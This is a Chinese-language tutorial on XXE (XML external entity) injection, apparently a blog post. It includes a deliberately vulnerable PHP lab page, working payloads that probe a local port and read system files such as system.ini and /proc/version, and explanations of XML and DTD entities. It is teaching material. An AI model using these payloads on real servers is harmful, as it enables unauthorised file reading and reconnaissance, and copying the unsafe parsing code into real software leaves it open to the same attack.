XXE:XML外部实体引入

XXE漏洞

如果服务器没有对客户端的xml数据进行限制,且版本较低的情况下,就可能会产生xxe漏洞

漏洞利用流程

1.客户端发送xml文件,其中dtd存在恶意的外部实体引用

2.服务器进行解析

3.服务器返回实体引用内容

危害:任意文件读取,系统命令执行

实例

靶场代码[可替换为pikachu靶场]

XML 复制代码
<head><meta charset=utf-8>
	<title>xxe测试</title>
</head>
<body>
	<form action='' method='post'>xml数据:<br>
		<textarea type="text" name="data"></textarea>
		<br><input type='submit' value='提交' name='sub'>
	</form>
</body>

<?php
  date_default_timezone_set("PRC");
  if(!empty($_POST['sub'])){ 
  	$data= $_POST['data'];
    $xml = simplexml_load_string($data);
    print($xml); 
  }
?>

页面效果

1.使用xxe获取服务器端口信息

paylod

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "http://127.0.0.1:3306">]>

<BookInfo>
&xxe;
</BookInfo>

运行逻辑

  • 当XML文档被一个存在xxe漏洞的XML解析器处理时,解析器会首先解析DTD部分,包括其中的外部实体定义。
  • 然后,解析器会尝试解析xxe实体,根据定义,会向http://127.0.0.1:3306发起请求,尝试获取数据。
  • 如果端口开启,会正常响应,如果关闭页面加载异常

2.任意文件读取

paylod

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY xxe  SYSTEM "file:///c://windows//system.ini">]>

<BookInfo>
&xxe;
</BookInfo>

在一些XML解析器中,使用两个斜杠可以确保路径被正确解析,尤其是在跨平台环境中。例如,Windows系统通常使用反斜杠(\)作为路径分隔符,而UNIX/Linux系统使用正斜杠(/)。通过使用两个斜杠,确保路径在不同的操作系统中都能被正确解析。

windows路径:file:///c://windows//system.ini

linux路径:file:///proc/version

XML基础

XML翻译为可扩展的标记语言,与html相比,XML可自定义文档标签,扩展性较强

用途:存储配置文件,数据交换

XML格式要求

XML文档必须有根元素
XML文档必须有关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性必须加引号

基础XML内容

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<BookInfo>
    <Book>
        <Title>书名</Title>
        <Author>张三</Author>
        <Publisher>出版社</Publisher>
        <PublicationYear>2024</PublicationYear>
        <ISBN>6226097558881666</ISBN>
        <Genre>类型</Genre>
        <Price>1000</Price>
        <Description>书籍简介</Description>
    </Book>
    <Seller>
        <Id>6222083803003983</Id>
        <Name>李四</Name>
    </Seller>
</BookInfo>

文档构成

文档第一行为xml声明文件描述xml版本及编码信息

<?xml version="1.0" encoding="UTF-8"?>

文档根元素为 <BookInfo> 闭合标签为 </BookInfo>

文档根元素下具有 <Book> 和 <Seller> 子元素

其子元素下,有若干个子元素进行信息的包含。如书籍的,作者[张三],年份,类型。购买者的信息如 序列号和姓名

这些元素构建成了·xml文档对信息进行描述和传递

XML文档规范

当xml文件内容过多时,为防止内容混乱

引入了DTD(文档类型描述)用于声明文档结构

DTD定义了文档结构及元素的规则

DTD构成

DTD主要由一系列关键字构成,这些关键字定义了XML文档的结构和规则

XML 复制代码
<!DOCTYPE BookInfo [
<!ELEMENT BookInfo (Book, Seller)> <!-- 定义根元素BookInfo,包含Book和Seller两个元素 -->
<!ELEMENT Book (Title, Author, Publisher, PublicationYear, ISBN, Genre, Price, Description)> <!-- 定义Book元素及其子元素 -->
<!ELEMENT Seller (Id, Name)> <!-- 定义Seller元素及其子元素 -->
]>
  1. 文件类型声明 : !DOCTYPE

关键字DOCTYPE 表明此文件根元素为BookInfo

  1. [...] : 方括号内的部分是DTD的内部子集。包含了元素和属性的定义。

  2. 元素定义:<!ELEMENT BookInfo (Book, Seller)>

关键字ELEMENT 定义元素下有哪些子元素

DTD实体的定义

实体 相当于提前定义的全局变量的值,可在文档中进行引用

实体的定义

关键字:ENTITY

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>

内部实体的引用

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BookInfo[<!ENTITY name "xiaoming">]>
<BookInfo>
<name>&name;</name>
</BookInfo>

页面效果

外部实体文件及引用

外部实体文件

XML 复制代码
<!ENTITY name "xiaoming">

文件引用

DTD关键字SYSTEM引用本地dtd文件,并使用file进行文件的读取

XML 复制代码
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE BookInfo[<!ENTITY name SYSTEM "file:///D:/test/test.dtd"    >

]>

<BookInfo>
<name>&name;</name>
</BookInfo>

完整的xml文档内容

XML 复制代码
<!-- 第一部分:XML声明部分 -->
<?xml version="1.0"?>

<!-- 第二部分:文档类型定义 DTD -->
<!DOCTYPE note[
<!-- 外部实体声明 -->
<!ENTITY entity-name SYSTEM "URI/URL">

<!-- 第三部分:文档元素 -->
<note>
  <to>Dave</to>
  <from>GiGi</from>
  <head>Reminder</head>
  <body>fish together</body>
</note>
相关推荐
人类群星闪耀时3 分钟前
服务器管理:从零开始的服务器安装与配置指南
运维·服务器
NiNg_1_23444 分钟前
使用Docker Compose一键部署
运维·docker·容器
萠哥啥都行1 小时前
Linux安装Docker以及Docker入门操作
运维·docker·容器
小江湖19941 小时前
元数据保护者,Caesium压缩不丢重要信息
运维·学习·软件需求·改行学it
gopher95111 小时前
linux驱动开发-中断子系统
linux·运维·驱动开发
河南宽信李工1503806 16862 小时前
测绘航空摄影专项资质在洛阳市的获取流程
服务器
吃面不喝汤662 小时前
如何配置和使用自己的私有 Docker Registry
运维·docker·容器
Rookie_explorers2 小时前
Linux下go环境安装、环境配置并执行第一个go程序
linux·运维·golang
学习向前冲2 小时前
AD域控服务器
运维·服务器
青柠视频云2 小时前
青柠视频云——视频丢包(卡顿、花屏、绿屏)排查
服务器·网络·音视频